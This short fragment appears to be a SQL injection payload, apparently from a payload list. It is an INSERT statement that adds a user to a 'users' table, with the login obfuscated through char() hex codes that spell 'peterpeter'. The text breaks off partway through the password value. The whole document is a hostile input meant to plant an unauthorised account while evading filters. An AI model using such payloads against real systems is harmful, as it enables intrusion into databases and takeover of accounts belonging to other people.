insert into users  (  login, password, level  )   values  (   char  (  0x70  )   + char  (  0x65  )   + char  (  0x74  )   + char  (  0x65  )   + char  (  0x72  )   + char  (  0x70  )   + char  (  0x65  )   + char  (  0x74  )   + char  (  0x65  )   + char  (  0x72  )  ,char  (  0x64  )  